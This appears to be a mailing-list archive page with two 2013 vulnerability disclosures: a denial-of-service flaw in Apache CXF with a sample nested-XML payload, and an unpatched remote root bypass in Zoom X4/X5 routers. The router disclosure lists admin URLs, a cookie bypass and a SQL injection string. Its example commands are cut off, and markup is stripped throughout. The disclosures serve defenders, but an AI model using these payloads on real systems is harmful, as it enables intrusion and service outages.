Ellis (Chief Security Officer at Akamai).

Alongside the main conference, there will also be an open to public
lock picking village run by TOOOL, a technology showcase
area/exhibition area, a 24-hour developer hackathon (HackWEEKDAY) and
of course a team-based Capture The Flag competition!

SEC Consult SA-20130709-0 :: Denial of service vulnerability in Apache CXF

2013-07-09 Thread SEC Consult Vulnerability Lab
SEC Consult Vulnerability Lab Security Advisory  20130709-0 
===
  title: Denial of service vulnerability
product: Apache CXF
 vulnerable version: Apache CXF prior to 2.5.10, 2.6.7 and 2.7.4
  fixed version: Apache CXF 2.5.10, 2.6.7 and 2.7.4 onwards
 CVE number: CVE-2013-2160
 impact: Critical

Vendor/product description:
--
Apache CXF is an open source services framework. CXF helps you build and 
develop services using frontend programming APIs, like JAX-WS and JAX-RS. 
These services can speak a variety of protocols such as SOAP, XML/HTTP, 
RESTful HTTP, or CORBA and work over a variety of transports such as HTTP, 
JMS or JBI.

URL: http://cxf.apache.org/


Business recommendation:
--
Various denial of service attack vectors were found within Apache CXF. 
The recommendation of SEC Consult is to immediately perform an update.



Vulnerability overview/description:
--
It is possible to execute Denial of Service attacks on Apache CXF, exploiting
the fact that the streaming XML parser does not put limits on things like the
number of elements, number of attributes, the nested structure of the document
received, etc. The effects of these attacks can vary from causing high CPU
usage, to causing the JVM to run out of memory.
URL: http://cxf.apache.org/security-advisories.data/CVE-2013-2160.txt.asc


Proof of concept:
--
The following SOAP message will trigger a denial of service:

?xml version=1.0?
soap:Envelope xmlns:soap=http://www.w3.org/2003/05/soap-envelope;
  soap:Body
element
element
element
element
[thousands more]
/element
/element
/element
/element  
  /soap:Body
/soap:Envelope

There are various other XML payloads that will also trigger a denial of 
service on vulnerable services.


Vulnerable / tested versions:
--
This vulnerability affects all versions of Apache CXF prior to 2.5.10, 2.6.7
and 2.7.4.


Vendor contact timeline:
--
2013-02-22: Advisory sent to vendor by Juraj Somorovsky (RUB)
2013-02-22: Advisory acknowledged by vendor
2013-04-19: Vendor confirms vulnerability
2013-05-15: Vendor publishes fixed version
2013-06-27: Vulnerability is disclosed by vendor
2013-07-09: SEC Consult releases security advisory 


Solution:
--
CXF 2.5.x users should upgrade to 2.5.10 or later as soon as possible.
CXF 2.6.x users should upgrade to 2.6.7 or later as soon as possible.
CXF 2.7.x users should upgrade to 2.7.4 or later as soon as possible.

Zoom X4/X5 ADSL Modem and Router -Unauthenticated Remote Root Command Execution

2013-07-09 Thread kyle Lovett
Vulnerable Products -

Zoom X4 ADSL Modem and Router running Nucleus/4.3
UPnP/1.0Virata-EmWeb/R6_2_0 Server All GS Firmware versions
Zoom X5 ADSL Modem and Router running Nucleus/4.3
UPnP/1.0Virata-EmWeb/R6_2_0 Server All GS Firmware versions

Note: A similar vulnerability was reported several years ago on the
Zoom X3 ADSL Modem using a SOAP API call. Many of these
vulnerabilities affect X3 in the same manner, without needing to use a
SOAP API.

===

Vulnerability-
When UPnP services and WAN http administrative access are enabled,
authorization and credential challenges can be bypassed by directly
accessing root privileged abilities via a web browser URL.

All aspects of the modem/router can be changed, altered and controlled
by an attacker, including gaining access to and changing the PPPoe/PPP
ISP credentials.



Timeline with Vendor-
Have had no response from Zoom Telephonics since first reporting the
problem on June 28. Subsequent emails have been sent with no response.

Root Cause Observed-
-As in most IGD UPnP routers and modems, where root vulnerabilities
are prevalent, these modems contain the same privileged tunnel between
either side of the router to be traversed without authentication.  The
code and layout of the device plays a large role as well.

Code/Script Vulnerabilities-

-Form tags and actions ids usually hidden are easily seen from the
html source, no sanitization of client side input is occurring and
root overrides such as 'Zadv=1' can be invoked by any user.

-No cookie authentication is done once several of the first bypass is
executed, allowing for Cookie: sessionId=invalid to pass admin commands.

-The SQL injection UNION SELECT 1,2,3,4,5,6,7-- added to the end of
any URL page calling a table value, such as /MainPage?id=25, will
bring up the system status page, with each interface visible and
selectable.

Patches or Fixes-
At this time, there are no known patches or fixes.

Vulnerability proofs and examples-
All administrative items can be accessed through these two URLs

--Menu Banner
http://IP/hag/pages/toc.htm

-Advanced Options Menu

Example commands that can be executed remotely through a web browser
URL, or a modified HTTP GET/POST requests-

-Change Password for admin Account

result in a long term Denial of Service attack.

Mitigation and Workarounds-
Adv.Options -- UPnP -- -- Disable UPnP -- Write Settings to Flash -- Reboot
Adv.Options -- Firewall Configuration -- Enable 'Attack Protection'
'DOS Proctection''Black List'-- Write Settings to Flash
Adv.Options -- Management Control -- Disable WAN Management from all
fields --  Write Settings to Flash
Always change the default Username and Password, though this will
nothelp mitigate this vulnerability
